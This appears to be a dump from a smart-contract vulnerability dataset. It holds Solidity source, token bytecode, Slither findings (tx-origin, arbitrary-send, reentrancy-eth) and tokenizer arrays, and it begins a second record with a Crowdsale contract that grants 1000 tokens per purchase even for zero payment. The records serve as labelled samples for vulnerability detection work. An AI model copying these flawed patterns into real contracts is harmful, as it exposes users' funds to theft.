Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function sync() external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() public { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, 'ReentrancyGuard: reentrant call'); _status = _ENTERED; _; _status = _NOT_ENTERED; } modifier isHuman() { require(tx.origin == msg.sender, 'sorry humans only'); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x6080604052600436106101c65760003560e01c80638da5cb5b116100f7578063dd62ed3e11610095578063ec556ad011610064578063ec556ad0146104ba578063f2fde38b146104da578063f4293890146104fa578063fcd802b11461050f576101cd565b8063dd62ed3e14610445578063e156afd514610465578063e547be691461047a578063ec28438a1461049a576101cd565b8063a9059cbb116100d1578063a9059cbb146103d0578063c4081a4c146103f0578063c816841b14610410578063cf0848f714610425576101cd565b80638da5cb5b1461037957806395d89b411461039b578063a8602fea146103b0576101cd565b8063342aa8b51161016457806351bc3c851161013e57806351bc3c851461031a57806370a082311461032f578063715018a61461034f5780638c0b5e2214610364576101cd565b8063342aa8b5146102c5578063437823ec146102e55780634e64c68a14610305576101cd565b806318160ddd116101a057806318160ddd1461024c5780631b35bed01461026e57806323b872dd14610283578063313ce567146102a3576101cd565b8063010d009b146101d257806306fdde03146101f4578063095ea7b31461021f576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101f26101ed36600461190c565b61053a565b005b34801561020057600080fd5b506102096105b2565b6040516102169190611a6f565b60405180910390f35b34801561022b57600080fd5b5061023f61023a3660046119ed565b610640565b6040516102169190611a64565b34801561025857600080fd5b5061026161065e565b6040516102169190611e83565b34801561027a57600080fd5b506101f2610664565b34801561028f57600080fd5b5061023f61029e36600461197c565b6106a5565b3480156102af57600080fd5b506102b861072c565b6040516102169190611f53565b3480156102d157600080fd5b506101f26102e03660046119bc565b610731565b3480156102f157600080fd5b506101f261030036600461190c565b610791565b34801561031157600080fd5b5061023f6107ea565b34801561032657600080fd5b506101f26107f3565b34801561033b57600080fd5b5061026161034a36600461190c565b610890565b34801561035b57600080fd5b506101f26108b2565b34801561037057600080fd5b50610261610931565b34801561038557600080fd5b5061038e610937565b6040516102169190611a50565b3480156103a757600080fd5b50610209610946565b3480156103bc57600080fd5b506101f26103cb36600461190c565b6109a1565b3480156103dc57600080fd5b5061023f6103eb3660046119ed565b610a10565b3480156103fc57600080fd5b506101f261040b366004611a38565b610a24565b34801561041c57600080fd5b5061038e610a7f565b34801561043157600080fd5b506101f261044036600461190c565b610a8e565b34801561045157600080fd5b50610261610460366004611944565b610ae4565b34801561047157600080fd5b506101f2610b0f565b34801561048657600080fd5b506101f2610495366004611a38565b610b59565b3480156104a657600080fd5b506101f26104b5366004611a38565b610bb4565b3480156104c657600080fd5b506101f26104d5366004611a18565b610c0f565b3480156104e657600080fd5b506101f26104f536600461190c565b610c62565b34801561050657600080fd5b506101f2610d18565b34801561051b57600080fd5b50610524610da6565b6040516102169a99989796959493929190611efc565b610542610e5f565b6000546001600160a01b039081169116146105785760405162461bcd60e51b815260040161056f90611ce6565b60405180910390fd5b601980546001600160a01b0319166001600160a01b039283161790819055166000908152600460205260409020805460ff19166001179055565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106385780601f1061060d57610100808354040283529160200191610638565b820191906000526020600020905b81548152906001019060200180831161061b57829003601f168201915b505050505081565b600061065461064d610e5f565b8484610e63565b5060015b92915050565b60055490565b61066c610e5f565b6000546001600160a01b039081169116146106995760405162461bcd60e51b815260040161056f90611ce6565b600f805460ff19169055565b60006106b2848484610f17565b610722846106be610e5f565b61071d85604051806060016040528060288152602001611f77602891396001600160a01b038a166000908152600360205260408120906106fc610e5f565b6001600160a01b03168152602081019190915260400160002054919061126f565b610e63565b5060019392505050565b600981565b610739610e5f565b6000546001600160a01b039081169116146107665760405162461bcd60e51b815260040161056f90611ce6565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b610799610e5f565b6000546001600160a01b039081169116146107c65760405162461bcd60e51b815260040161056f90611ce6565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600f5460ff1681565b6018546001600160a01b0316610807610e5f565b6001600160a01b0316148061083657506019546001600160a01b031661082b610e5f565b6001600160a01b0316145b8061085b5750601a546001600160a01b0316610850610e5f565b6001600160a01b0316145b6108775760405162461bcd60e51b815260040161056f90611e5b565b600061088230610890565b905061088d8161129b565b50565b6001600160a01b03811660009081526001602052604081205461065890611417565b6108ba610e5f565b6000546001600160a01b039081169116146108e75760405162461bcd60e51b815260040161056f90611ce6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600e5481565b6000546001600160a01b031690565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106385780601f1061060d57610100808354040283529160200191610638565b6109a9610e5f565b6000546001600160a01b039081169116146109d65760405162461bcd60e51b815260040161056f90611ce6565b601880546001600160a01b0319166001600160a01b039283161790819055166000908152600460205260409020805460ff19166001179055565b6000610654610a1d610e5f565b8484610f17565b610a2c610e5f565b6000546001600160a01b03908116911614610a595760405162461bcd60e51b815260040161056f90611ce6565b6019811115610a7a5760405162461bcd60e51b815260040161056f90611e24565b601255565b600d546001600160a01b031681565b610a96610e5f565b6000546001600160a01b03908116911614610ac35760405162461bcd60e51b815260040161056f90611ce6565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610b17610e5f565b6000546001600160a01b03908116911614610b445760405162461bcd60e51b815260040161056f90611ce6565b600d805460ff60a01b1916600160a01b179055565b610b61610e5f565b6000546001600160a01b03908116911614610b8e5760405162461bcd60e51b815260040161056f90611ce6565b6019811115610baf5760405162461bcd60e51b815260040161056f90611b2e565b601355565b610bbc610e5f565b6000546001600160a01b03908116911614610be95760405162461bcd60e51b815260040161056f90611ce6565b610c096064610c0383600554610e2590919063ffffffff16565b90610ddc565b600e5550565b610c17610e5f565b6000546001600160a01b03908116911614610c445760405162461bcd60e51b815260040161056f90611ce6565b600d8054911515600160a81b0260ff60a81b19909216919091179055565b610c6a610e5f565b6000546001600160a01b03908116911614610c975760405162461bcd60e51b815260040161056f90611ce6565b6001600160a01b038116610cbd5760405162461bcd60e51b815260040161056f90611baf565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6018546001600160a01b0316610d2c610e5f565b6001600160a01b03161480610d5b57506019546001600160a01b0316610d50610e5f565b6001600160a01b0316145b80610d805750601a546001600160a01b0316610d75610e5f565b6001600160a01b0316145b610d9c5760405162461bcd60e51b815260040161056f90611e5b565b4761088d81611451565b601154601254601354601454601554601654601754601854601954601a546001600160a01b03938416939283169291821691168a565b6000610e1e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611544565b9392505050565b600082610e3457506000610658565b82820282848281610e4157fe5b0414610e1e5760405162461bcd60e51b815260040161056f90611ca5565b3390565b6001600160a01b038316610e895760405162461bcd60e51b815260040161056f90611da9565b6001600160a01b038216610eaf5760405162461bcd60e51b815260040161056f90611bf5565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610f0a908590611e83565b60405180910390a3505050565b6001600160a01b038316610f3d5760405162461bcd60e51b815260040161056f90611d64565b6001600160a01b038216610f635760405162461bcd60e51b815260040161056f90611aeb565b60008111610f835760405162461bcd60e51b815260040161056f90611d1b565b600d54600160a01b900460ff16611009576001600160a01b03831660009081526004602052604090205460ff1680610fd357506001600160a01b03821660009081526004602052604090205460ff165b80610fed57503260009081526004602052604090205460ff165b6110095760405162461bcd60e51b815260040161056f90611c6e565b6001600160a01b03831660009081526010602052604090205460ff1615801561104257503260009081526010602052604090205460ff16155b61105e5760405162461bcd60e51b815260040161056f90611ac2565b600f5460ff16801561107a5750600d54600160b01b900460ff16155b156110e7576001600160a01b03831660009081526004602052604090205460ff16806110be57506001600160a01b03821660009081526004602052604090205460ff165b806110cb5750600e548111155b6110e75760405162461bcd60e51b815260040161056f90611ded565b60006110f230610890565b600d54909150600160b01b900460ff1615801561111d5750600d546001600160a01b03858116911614155b80156111325750600d54600160a01b900460ff165b80156111475750600d54600160a81b900460ff165b1561119057801561117e57600d5461116e90606490610c03906001600160a01b0316610890565b81111561117e5761117e8161129b565b47801561118e5761118e47611451565b505b6001600160a01b03841660009081526004602052604090205460019060ff16806111d257506001600160a01b03841660009081526004602052604090205460ff165b156111db575060005b600d546001600160a01b038681169116148015906112075750600d546001600160a01b03858116911614155b15611210575060005b61121c8585858461157b565b8080156112365750600d546001600160a01b038681169116145b1561124257600b546012555b80801561125c5750600d546001600160a01b038581169116145b1561126857600a546013555b5050505050565b600081848411156112935760405162461bcd60e51b815260040161056f9190611a6f565b505050900390565b600d805460ff60b01b1916600160b01b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106112dc57fe5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561133057600080fd5b505afa158015611344573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113689190611928565b8160018151811061137557fe5b6001600160a01b039283166020918202929092010152600c5461139b9130911684610e63565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d4908590600090869030904290600401611e8c565b600060405180830381600087803b1580156113ee57600080fd5b505af1158015611402573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b600060065482111561143b5760405162461bcd60e51b815260040161056f90611b65565b60006114456115a6565b9050610e1e8382610ddc565b6018546014546001600160a01b03909116906108fc9061147c9061147685600a610ddc565b90610e25565b6040518115909202916000818181858888f193505050501580156114a4573d6000803e3d6000fd5b506019546016546001600160a01b03909116906108fc906114ca9061147685600a610ddc565b6040518115909202916000818181858888f193505050501580156114f2573d6000803e3d6000fd5b50601a546015546001600160a01b03909116906108fc906115189061147685600a610ddc565b6040518115909202916000818181858888f19350505050158015611540573d6000803e3d6000fd5b5050565b600081836115655760405162461bcd60e51b815260040161056f9190611a6f565b50600083858161157157fe5b0495945050505050565b80611588576115886115c9565b6115938484846115fb565b806115a0576115a06116f0565b50505050565b60008060006115b36116fe565b90925090506115c28282610ddc565b9250505090565b6013541580156115d95750601254155b156115e3576115f9565b60138054600a5560128054600b55600091829055555b565b60008060008060008061160d87611735565b6001600160a01b038f16600090815260016020526040902054959b5093995091975095509350915061163f9087611798565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461166e90866117da565b6001600160a01b038916600090815260016020526040902055611690816117ff565b61169a8483611849565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116dd9190611e83565b60405180910390a3505050505050505050565b600a54601355600b54601255565b60065460055460009182916117138282610ddc565b82101561172b57600654600554935093505050611731565b90925090505b9091565b60008060008060008060008060006117588a60116002015460116001015461186d565b92509250925060006117686115a6565b9050600080600061177b8e8787876118bc565b919e509c509a509598509396509194505050505091939550919395565b6000610e1e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061126f565b600082820183811015610e1e5760405162461bcd60e51b815260040161056f90611c37565b60006118096115a6565b905060006118178383610e25565b3060009081526001602052604090205490915061183490826117da565b30600090815260016020526040902055505050565b6006546118569083611798565b60065560075461186690826117da565b6007555050565b60008080806118816064610c038989610e25565b905060006118946064610c038a89610e25565b905060006118ac826118a68b86611798565b90611798565b9992985090965090945050505050565b60008080806118cb8886610e25565b905060006118d98887610e25565b905060006118e78888610e25565b905060006118f9826118a68686611798565b939b939a50919850919650505050505050565b60006020828403121561191d578081fd5b8135610e1e81611f61565b600060208284031215611939578081fd5b8151610e1e81611f61565b60008060408385031215611956578081fd5b823561196181611f61565b9150602083013561197181611f61565b809150509250929050565b600080600060608486031215611990578081fd5b833561199b81611f61565b925060208401356119ab81611f61565b929592945050506040919091013590565b600080604083850312156119ce578182fd5b82356119d981611f61565b915060208301358015158114611971578182fd5b600080604083850312156119ff578182fd5b8235611a0a81611f61565b946020939093013593505050565b600060208284031215611a29578081fd5b81358015158114610e1e578182fd5b600060208284031215611a49578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015611a9b57858101830151858201604001528201611a7f565b81811115611aac5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600f908201526e109bdd08189b1858dadb1a5cdd1959608a1b604082015260600190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252601d908201527f54617820666565206d757374206265206c657373207468616e20323525000000604082015260600190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526017908201527f54726164696e67206973206e6f74206c69766520796574000000000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252601b908201527f4d6178205472616e73666572204c696d69742045786365656473210000000000604082015260600190565b6020808252601e908201527f5465616d20666565206d757374206265206c657373207468616e203235250000604082015260600190565b6020808252600e908201526d139bdd08185d5d1a1bdc9a5e995960921b604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611edb5784516001600160a01b031683529383019391830191600101611eb6565b50506001600160a01b03969096166060850152505050608001529392505050565b998a5260208a019890985260408901969096526060880194909452608087019290925260a08601526001600160a01b0390811660c086015290811660e0850152908116610100840152166101208201526101400190565b60ff91909116815260200190565b6001600160a01b038116811461088d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122007684aca1e37ddd4812ed924239d11fb27487dec2bb974a7d02a4d27f031dde264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 15136, 2497, 11387, 2050, 2620, 19797, 22932, 17465, 2278, 15136, 2575, 2581, 2050, 17788, 22275, 2509, 2497, 2475, 14141, 8586, 2549, 2050, 2549, 2278, 2549, 4783, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 17197, 18946, 1013, 1013, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 17197, 11387, 19317, 1013, 1013, 4037, 1024, 16770, 1024, 1013, 1013, 17197, 11387, 2015, 1012, 2686, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1025, 12324, 1005, 1012, 1013, 6327, 1013, 4769, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 6327, 1013, 2219, 3085, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,638
0x9718e2d4a34fa9981c656c56694d301a43ebbad2
pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { bool private _notEntered; constructor () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conforms * the base architecture for crowdsales. It is *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropriate to concatenate * behavior. */ contract Crowdsale is Context, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address payable private _wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 private _rate; // Amount of wei raised uint256 private _weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param rate Number of token units a buyer gets per wei * @dev The rate is the conversion between wei and the smallest and indivisible * token unit. So, if you are using a rate of 1 with a ERC20Detailed token * with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK. * @param wallet Address where collected funds will be forwarded to * @param token Address of the token being sold */ constructor (uint256 rate, address payable wallet, IERC20 token) public { require(rate >= 0, "Crowdsale: rate must be above 0"); require(wallet != address(0), "Crowdsale: wallet is the zero address"); require(address(token) != address(0), "Crowdsale: token is the zero address"); _rate = rate; _wallet = wallet; _token = token; } /** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer funds with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a contract. */ function () external payable { buyTokens(_msgSender()); } /** * @return the token being sold. */ function token() public view returns (IERC20) { return _token; } /** * @return the address where funds are collected. */ function wallet() public view returns (address payable) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate() public view returns (uint256) { return _rate; } /** * @return the amount of wei raised. */ function weiRaised() public view returns (uint256) { return _weiRaised; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * This function has a non-reentrancy guard, so it shouldn't be called by * another `nonReentrant` function. * @param beneficiary Recipient of the token purchase */ function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount) + 1000000000000000000000; _preValidatePurchase(beneficiary, weiAmount, tokens); // update state _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount, tokens); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(beneficiary, weiAmount); * require(weiRaised().add(weiAmount) <= cap); * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount, uint256 tokens) internal view { require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address"); require(weiAmount >= 0, "Crowdsale: weiAmount must 0"); require(tokens != 0, "test warning"); this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid * conditions are not met. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { // solhint-disable-previous-line no-empty-blocks } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends * its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send * tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, * etc.) * @param beneficiary Address receiving the tokens * @param weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address beneficiary, uint256 weiAmount, uint256 tokens) internal { // solhint-disable-previous-line no-empty-blocks } /** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { _wallet.transfer(msg.value); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see 